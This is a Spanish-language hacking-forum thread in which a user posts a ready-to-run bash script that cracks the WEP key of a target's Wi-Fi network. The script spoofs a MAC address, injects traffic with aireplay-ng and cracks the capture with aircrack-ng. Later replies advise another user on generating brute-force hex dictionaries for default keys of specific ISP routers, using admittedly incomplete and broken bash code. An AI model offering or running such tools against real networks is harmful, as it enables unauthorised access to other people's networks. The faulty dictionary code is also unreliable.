elhacker.net cabecera Bienvenido(a), Visitante. Por favor Ingresar o Registrarse
¿Perdiste tu email de activación?.

 

 


Tema destacado: Curso de javascript por TickTack


+  Foro de elhacker.net
|-+  Seguridad Informática
| |-+  Hacking Wireless
| | |-+  Script sencillo para hackear claves WEP funcionando.
0 Usuarios y 1 Visitante están viendo este tema.
Páginas: [1] 2 3 Ir Abajo Respuesta Imprimir
Autor Tema: Script sencillo para hackear claves WEP funcionando.  (Leído 38,416 veces)
SnakingMax

Desconectado Desconectado

Mensajes: 167



Ver Perfil WWW
Script sencillo para hackear claves WEP funcionando.
« en: 10 Febrero 2010, 11:21 am »

Acabo de realizar un script para Hackear las redes wireles como alternativa al airoscript o similares.
El mío es más sencillo, sin llamadas a métodos. Os lo dejo por aquí:

Código
  1. #! /bin/bash
  2. #Script wifihack por snakingmax.
  3. sudo rm -r /tmp/wifihack/
  4. sudo mkdir /tmp/wifihack/
  5.  
  6. # PASO 0 - ACTIVAR EL DRIVER MONITOR:
  7. sudo airmon-ng stop mon0;
  8. sudo airmon-ng start wlan0;
  9.  
  10. # PASO 0.1 - PONERME UNA MAC FALSA. Fabada mola xD
  11. sudo ifconfig mon0 down;
  12. sudo macchanger --mac=00:FA:BA:DA:CA:BE mon0
  13. sudo ifconfig mon0 up;
  14.  
  15. # PASO 1 - LISTAR LAS WIFIS:
  16. xterm -title "Detectando wifis (paralo cuando quieras)." -e sudo airodump-ng mon0 -w "/tmp/wifihack/wifiList";
  17. cat /tmp/wifihack/wifiList-01.kismet.netxml | grep -e 'essid' -e 'BSSID'  -e 'channel' -e 'encryption' > /tmp/wifihack/wifis |
  18. firefox "/tmp/wifihack/wifis";
  19.  
  20. # Un inciso para preguntar:
  21. j="n";
  22. while test $j != "s"
  23. do
  24. clear;
  25. echo Dime el canal del punto de acceso:
  26. read canal
  27. echo Dime la mac del router del objetivo:
  28. read MAC_OBJETIVO
  29. echo Dime el nombre de la wifi del objetivo:
  30. read NOMBRE_AP
  31. echo "¿Estás seguro de que lo has escrito bien (s/n)?"
  32. read j
  33. done
  34. echo Vamos a empezar con el proceso entonces.
  35.  
  36. # PASO 2 - PONER EL AIRODUMP:
  37. xterm -hold  -title "Pinchando la conexión del objetivo" -e sudo airodump-ng -c $canal -w /tmp/wifihack/captura mon0 &
  38.  
  39. # PASO 3 - HACERSE AMIGO DEL ROUTER DEL OBJETIVO:
  40. # e inyectar algo de tráfico cada 5 segundos.
  41. xterm -hold -title "Me estoy haciendo amigo del router del objetivo" -e "for (( i=0; i<=1000; i++ )) do sudo aireplay-ng -1 0 -a $MAC_OBJETIVO -h 00:FA:BA:DA:CA:BE -e $NOMBRE_AP mon0; sleep 5; done" &
  42.  
  43. # PASO 4 - ESNIFAR ROUTER DEL OBJETIVO:
  44. xterm -hold -title "Almacenando los datos de la conexion pinchada" -e sudo aireplay-ng -3 -b $MAC_OBJETIVO -h 00:FA:BA:DA:CA:BE mon0 &
  45.  
  46. # PASO 5 - OBTENER LA CLAVE A PARTIR DE LO QUE ESNIFAMOS:
  47. xterm -hold -title "Pulsa una tecla para intentar crackear" -e "for (( i=0; i<=1000; i++ )) do read a; sudo aircrack-ng -a 1 -s /tmp/wifihack/captura-01.cap; done"
  48.  

Solamente me gustaría que mostrase mejor el archivo: wifiList-01.kismet.netxml
Ese archivo contiene en formato xml la lista de wifis de todos los canales wifi.

Lo que hice es volcar a un archivo usando grep los datos mas interesantes de las wifis que se guardan en bloques que empiezan con el campo <encriptacion> y terminan con el campo <canal>.

Y después abro ese archivo con firefox, si no lo tenéis instalado podéis abrirlo con kate o similares.

Lo interesante sería que el script filtrase también las etiquetas de xml y mostrase los datos algo mas ordenados  :P

Un saludo y gracias a todos por vuestra ayuda.


« Última modificación: 18 Mayo 2010, 02:00 am por SnakingMax » En línea

cayo01

Desconectado Desconectado

Mensajes: 6


Ver Perfil
Re: Script sencillo para hackear claves WEP funcionando.
« Respuesta #1 en: 11 Febrero 2010, 05:06 am »

se nota que eres hacker jaja
oiee me puedes ayudar d un tema
 el tema del deccionario tu sabes algun troco para crear un diccionario
quiero crear un deccionario con 13 digitos hex 0-9 A-F para los redes de wlanXXXXXX y las nuevas wlan_XX y jazztel_XX
y muchas gracias


En línea

SnakingMax

Desconectado Desconectado

Mensajes: 167



Ver Perfil WWW
Re: Script sencillo para hackear claves WEP funcionando.
« Respuesta #2 en: 11 Febrero 2010, 09:35 am »

numDigitos = 13;
contUnidades = 0;
apuntador = 0;
i = "0000000000000";
while (( i -eq "FFFFFFFFFFFFFFF" )) do
if (test (contUnidadades = 15)&(numDigitos=13)) then
     contUnidades=0;
     numDigitos = 0;

     
     if (apuntador=13)
     #apuntar

cat i > diccionario.txt
done
En línea

SnakingMax

Desconectado Desconectado

Mensajes: 167



Ver Perfil WWW
Re: Script sencillo para hackear claves WEP funcionando.
« Respuesta #3 en: 11 Febrero 2010, 09:48 am »

Acabo de hacer el código en bash muy rápido y me falta la linea que actualiza la cadena seguro que van cosas mal pero la idea es la que te escribo aqui debajo. Busca un manual de bash.
Despues solo tendrias que concatenar cada linea a la cadena "WLAN":

Código
  1. numDigitos = 13;
  2. contUnidades = 0;
  3. apuntador = 0;
  4. i = "0000000000000";
  5. #Vemos si llegó al final de nuestra cadena de caracteres.
  6. while (( $i -ne "FFFFFFFFFFFFFFF" )) do
  7. if (test ($contUnidades = 15)&($apuntador=13)) then
  8.     contUnidades=0;
  9.     apuntador = 0;
  10. # Vemos si hay que pasar a un dígito de mayor peso
  11. elif($contUnidades=15) then
  12.    apuntador++;
  13. fi;
  14.  
  15. #FALTA HACER ESTO AQUI->>>>Sumamos uno a la posicion i de nuestra cadena
  16.  
  17. #Almacenar
  18. cat i > diccionario.txt
  19. done
  20.  

ChimoC me ha corregido un detalle y yo he corregido las variables que debían llevar $ delante, seguro que hay mas errores pero viendo por un tuto de bash scripting el código lo puedes terminar sin problemas, cualquier duda posteala por aqui pero googlea antes de preguntar.

Un saludo, espero que te sirva
« Última modificación: 12 Febrero 2010, 00:31 am por SnakingMax » En línea

Festor
Ex-Staff
*
Desconectado Desconectado

Mensajes: 1.955


Ver Perfil
Re: Script sencillo para hackear claves WEP funcionando.
« Respuesta #4 en: 11 Febrero 2010, 20:17 pm »

Dos cosas:

-> Abusas demasiado del comando sudo... a decir verdad es preferible abrir una sesión "permanente" (hasta que cierres el script) con sudo -s en vez de llamar a cada rato a sudo....

->Para postear código bash o shell en el foro lo mejor es usar las etiquetas code así:

[code=bash]
#! /bin/bash
Pon aquí el código
[/code]

De forma que te quedaría así:

Código
  1. #! /bin/bash
  2. echo Hola mundo!
En línea

SnakingMax

Desconectado Desconectado

Mensajes: 167



Ver Perfil WWW
Re: Script sencillo para hackear claves WEP funcionando.
« Respuesta #5 en: 12 Febrero 2010, 00:33 am »

ok Festor, no sabía lo de las tags.

1 saludo.
En línea

cayo01

Desconectado Desconectado

Mensajes: 6


Ver Perfil
Re: Script sencillo para hackear claves WEP funcionando.
« Respuesta #6 en: 13 Febrero 2010, 00:22 am »

he logrado a acer un script para generar estos diccionario, pero he tenido una problema aver se me puedes ayudar
mi cd es el wifislax 3.1
y formato del archivo d instalacion es ejemplo.c
ps he modificado unas cosas en jazzteldecrypter.c y me genera un diccionario 0000000000000 FFFFFFFFFFFFF pero mi problema es cuando lo pongo en funcion el archivo que genera llega a 2 gigas y se para y dice k no hay espacio
y lo estoi usando pa que lo guarda en disco duro que tiene 160 y puedo guardar muchos d estos archivos pero lo que se ve que tiene un limite de 2 gigas nha mas
aver s sabes algo pa mi problemia
« Última modificación: 16 Febrero 2010, 05:28 am por cayo01 » En línea

Intrance

Desconectado Desconectado

Mensajes: 7


Ver Perfil
Re: Script sencillo para hackear claves WEP funcionando.
« Respuesta #7 en: 13 Febrero 2010, 23:36 pm »

como lo hago funcionar?? gracias   :-\
En línea

SnakingMax

Desconectado Desconectado

Mensajes: 167



Ver Perfil WWW
Re: Script sencillo para hackear claves WEP funcionando.
« Respuesta #8 en: 16 Febrero 2010, 23:31 pm »

Pues lo que puedes hacer es en vez de 1 diccionario 4 distintos o los que sean y luego ya los unes desde fuera del CD. Así trabajas con menos de 2 gigas.

Me refiero a que puedes hacer varios bucles en tu script. Por ejemplo:
000.dic -> desde 000000000 hasta FFFFFFFFFFFFF/4
001.dic -> desde FFFFFFFFFFFFF/4 hasta FFFFFFFFFFFFF/2
002.dic -> desde FFFFFFFFFFFFF/2 hasta FFFFFFFFFFFFF/3
003.dic -> desde FFFFFFFFFFFFF/3 hasta FFFFFFFFFFFFF
Serían 4 partes de un diccionario gigante.
Si no tienes Linux instalado y el Cd no trabaja con mas de 2 gigas en windows desde la consola creo que con type puedes concatenarlos, sino con una version vieja del hacha de esas que no añadian porquería a las partes de los archivos.

Un saludo  ;)
« Última modificación: 16 Febrero 2010, 23:34 pm por SnakingMax » En línea

cayo01

Desconectado Desconectado

Mensajes: 6


Ver Perfil
Re: Script sencillo para hackear claves WEP funcionando.
« Respuesta #9 en: 17 Febrero 2010, 01:58 am »

Pues lo que puedes hacer es en vez de 1 diccionario 4 distintos o los que sean y luego ya los unes desde fuera del CD. Así trabajas con menos de 2 gigas.

Me refiero a que puedes hacer varios bucles en tu script. Por ejemplo:
000.dic -> desde 000000000 hasta FFFFFFFFFFFFF/4
001.dic -> desde FFFFFFFFFFFFF/4 hasta FFFFFFFFFFFFF/2
002.dic -> desde FFFFFFFFFFFFF/2 hasta FFFFFFFFFFFFF/3
003.dic -> desde FFFFFFFFFFFFF/3 hasta FFFFFFFFFFFFF
Serían 4 partes de un diccionario gigante.
Si no tienes Linux instalado y el Cd no trabaja con mas de 2 gigas en windows desde la consola creo que con type puedes concatenarlos, sino con una version vieja del hacha de esas que no añadian porquería a las partes de los archivos.

Un saludo  ;)
[/quo
esk nose que ago cn ese script
es para linux o windows???
el sistema k m interesa es en linux pake funciona cmo el wlandecrypter.c o jazzteldecrypter.c
En línea

Páginas: [1] 2 3 Ir Arriba Respuesta Imprimir 

Ir a:  

WAP2 - Aviso Legal - Powered by SMF 1.1.21 | SMF © 2006-2008, Simple Machines